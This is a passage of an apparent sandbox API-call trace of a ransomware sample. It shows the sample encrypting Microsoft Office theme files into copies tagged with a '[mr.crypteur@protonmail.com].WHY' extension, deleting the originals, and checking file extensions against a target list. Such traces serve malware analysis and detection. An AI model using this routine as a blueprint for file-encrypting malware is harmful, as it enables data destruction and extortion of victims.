Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0272.156] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.156] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0272.157] GetLastError () returned 0x0 [0272.157] ReadFile (in: hFile=0x3bc, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x4caa1, lpOverlapped=0x0) returned 1 [0272.178] WriteFile (in: hFile=0x3a8, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x4cab0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x4cab0, lpOverlapped=0x0) returned 1 [0272.540] ReadFile (in: hFile=0x3bc, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.540] WriteFile (in: hFile=0x3a8, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0272.540] SetEndOfFile (hFile=0x3a8) returned 1 [0273.101] CloseHandle (hObject=0x3a8) returned 1 [0273.110] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.110] SetEndOfFile (hFile=0x3bc) returned 1 [0273.163] CloseHandle (hObject=0x3bc) returned 1 [0273.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.164] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx")) returned 1 [0273.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.413] lstrlenW (lpString=".doc") returned 4 [0273.413] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.413] lstrlenW (lpString=".docx") returned 5 [0273.413] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.413] lstrlenW (lpString=".pdf") returned 4 [0273.413] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.413] lstrlenW (lpString=".xls") returned 4 [0273.413] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.413] lstrlenW (lpString=".xlsx") returned 5 [0273.413] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.413] lstrlenW (lpString=".ppt") returned 4 [0273.413] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.414] lstrlenW (lpString=".zip") returned 4 [0273.414] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.414] lstrlenW (lpString=".rar") returned 4 [0273.414] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.414] lstrlenW (lpString=".bz2") returned 4 [0273.414] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.414] lstrlenW (lpString=".7z") returned 3 [0273.414] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.414] lstrlenW (lpString=".dbf") returned 4 [0273.414] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.414] lstrlenW (lpString=".1cd") returned 4 [0273.414] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.415] lstrlenW (lpString=".jpg") returned 4 [0273.415] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.415] lstrlenW (lpString=".doc") returned 4 [0273.415] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.415] lstrlenW (lpString=".docx") returned 5 [0273.415] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.415] lstrlenW (lpString=".pdf") returned 4 [0273.415] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.415] lstrlenW (lpString=".xls") returned 4 [0273.416] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.416] lstrlenW (lpString=".xlsx") returned 5 [0273.416] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.416] lstrlenW (lpString=".ppt") returned 4 [0273.416] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.417] lstrlenW (lpString=".zip") returned 4 [0273.417] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.417] lstrlenW (lpString=".rar") returned 4 [0273.417] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.417] lstrlenW (lpString=".bz2") returned 4 [0273.417] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.417] lstrlenW (lpString=".7z") returned 3 [0273.417] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.417] lstrlenW (lpString=".dbf") returned 4 [0273.417] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.418] lstrlenW (lpString=".1cd") returned 4 [0273.418] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx") returned 81 [0273.418] lstrlenW (lpString=".jpg") returned 4 [0273.418] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.418] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0273.419] lstrlenW (lpString="Flow.eftx") returned 9 [0273.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0273.633] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=26648) returned 1 [0273.634] CloseHandle (hObject=0x3bc) returned 1 [0273.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 0x20 [0273.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0273.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0273.635] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.635] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0273.637] GetLastError () returned 0x0 [0273.637] ReadFile (in: hFile=0x3bc, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x6818, lpOverlapped=0x0) returned 1 [0273.913] WriteFile (in: hFile=0x398, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x6820, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x6820, lpOverlapped=0x0) returned 1 [0273.917] ReadFile (in: hFile=0x3bc, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.918] WriteFile (in: hFile=0x398, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0273.918] SetEndOfFile (hFile=0x398) returned 1 [0273.918] CloseHandle (hObject=0x398) returned 1 [0273.920] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.920] SetEndOfFile (hFile=0x3bc) returned 1 [0273.927] CloseHandle (hObject=0x3bc) returned 1 [0273.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0273.959] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx")) returned 1 [0273.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.960] lstrlenW (lpString=".doc") returned 4 [0273.960] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.960] lstrlenW (lpString=".docx") returned 5 [0273.960] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.960] lstrlenW (lpString=".pdf") returned 4 [0273.960] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.961] lstrlenW (lpString=".xls") returned 4 [0273.961] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.961] lstrlenW (lpString=".xlsx") returned 5 [0273.961] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.962] lstrlenW (lpString=".ppt") returned 4 [0273.962] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.962] lstrlenW (lpString=".zip") returned 4 [0273.962] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.962] lstrlenW (lpString=".rar") returned 4 [0273.962] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.962] lstrlenW (lpString=".bz2") returned 4 [0273.962] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.962] lstrlenW (lpString=".7z") returned 3 [0273.962] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.962] lstrlenW (lpString=".dbf") returned 4 [0273.963] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.963] lstrlenW (lpString=".1cd") returned 4 [0273.963] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.963] lstrlenW (lpString=".jpg") returned 4 [0273.963] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.963] lstrlenW (lpString=".doc") returned 4 [0273.963] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0273.963] lstrlenW (lpString=".docx") returned 5 [0273.963] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0273.964] lstrlenW (lpString=".pdf") returned 4 [0273.964] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0273.964] lstrlenW (lpString=".xls") returned 4 [0273.964] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0273.964] lstrlenW (lpString=".xlsx") returned 5 [0273.964] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0273.964] lstrlenW (lpString=".ppt") returned 4 [0273.964] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0273.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.964] lstrlenW (lpString=".zip") returned 4 [0273.964] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0273.964] lstrlenW (lpString=".rar") returned 4 [0273.964] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0273.965] lstrlenW (lpString=".bz2") returned 4 [0273.965] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0273.965] lstrlenW (lpString=".7z") returned 3 [0273.965] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0273.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.965] lstrlenW (lpString=".dbf") returned 4 [0273.965] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0273.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.965] lstrlenW (lpString=".1cd") returned 4 [0273.965] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0273.965] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx") returned 76 [0273.965] lstrlenW (lpString=".jpg") returned 4 [0273.965] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0273.966] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0273.966] lstrlenW (lpString="Hardcover.eftx") returned 14 [0273.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0274.633] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=350689) returned 1 [0274.633] CloseHandle (hObject=0x3cc) returned 1 [0274.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 0x20 [0274.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0274.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0274.634] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.634] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0274.636] GetLastError () returned 0x0 [0274.636] ReadFile (in: hFile=0x3cc, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x559e1, lpOverlapped=0x0) returned 1 [0274.747] WriteFile (in: hFile=0x3b0, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0x559f0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x559f0, lpOverlapped=0x0) returned 1 [0274.772] ReadFile (in: hFile=0x3cc, lpBuffer=0x3a00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.946] WriteFile (in: hFile=0x3b0, lpBuffer=0x3a00020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a00020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0275.041] SetEndOfFile (hFile=0x3b0) returned 1 [0275.274] CloseHandle (hObject=0x3b0) returned 1 [0275.281] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.281] SetEndOfFile (hFile=0x3cc) returned 1 [0275.640] CloseHandle (hObject=0x3cc) returned 1 [0275.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0275.641] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx")) returned 1 [0275.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0275.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0275.643] lstrlenW (lpString=".doc") returned 4 [0275.643] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0275.643] lstrlenW (lpString=".docx") returned 5 [0275.643] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0275.643] lstrlenW (lpString=".pdf") returned 4 [0275.643] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0275.644] lstrlenW (lpString=".xls") returned 4 [0275.644] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0275.644] lstrlenW (lpString=".xlsx") returned 5 [0275.644] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0275.644] lstrlenW (lpString=".ppt") returned 4 [0275.644] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0275.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0275.644] lstrlenW (lpString=".zip") returned 4 [0275.644] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0275.644] lstrlenW (lpString=".rar") returned 4 [0275.644] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0275.644] lstrlenW (lpString=".bz2") returned 4 [0275.645] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0275.645] lstrlenW (lpString=".7z") returned 3 [0275.645] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0275.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0275.645] lstrlenW (lpString=".dbf") returned 4 [0275.645] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0275.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0275.645] lstrlenW (lpString=".1cd") returned 4 [0275.645] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0275.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0275.645] lstrlenW (lpString=".jpg") returned 4 [0275.646] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0275.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0275.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0275.646] lstrlenW (lpString=".doc") returned 4 [0275.646] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0275.646] lstrlenW (lpString=".docx") returned 5 [0275.646] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0275.646] lstrlenW (lpString=".pdf") returned 4 [0275.646] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0275.647] lstrlenW (lpString=".xls") returned 4 [0275.647] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0275.647] lstrlenW (lpString=".xlsx") returned 5 [0275.647] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0275.647] lstrlenW (lpString=".ppt") returned 4 [0275.647] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0275.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0275.647] lstrlenW (lpString=".zip") returned 4 [0275.647] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0275.647] lstrlenW (lpString=".rar") returned 4 [0275.647] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0275.647] lstrlenW (lpString=".bz2") returned 4 [0275.647] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0275.647] lstrlenW (lpString=".7z") returned 3 [0275.648] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0275.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0275.648] lstrlenW (lpString=".dbf") returned 4 [0275.648] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0275.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0275.648] lstrlenW (lpString=".1cd") returned 4 [0275.648] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0275.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx") returned 81 [0275.648] lstrlenW (lpString=".jpg") returned 4 [0275.648] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0275.649] lstrcmpiW (lpString1=".eftx", lpString2=".WHY") returned -1 [0275.649] lstrlenW (lpString="Oriel.eftx") returned 10 [0275.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0276.272] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=43193) returned 1 [0276.272] CloseHandle (hObject=0x3cc) returned 1 [0276.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 0x20 [0276.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0276.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0276.274] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0276.274] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | 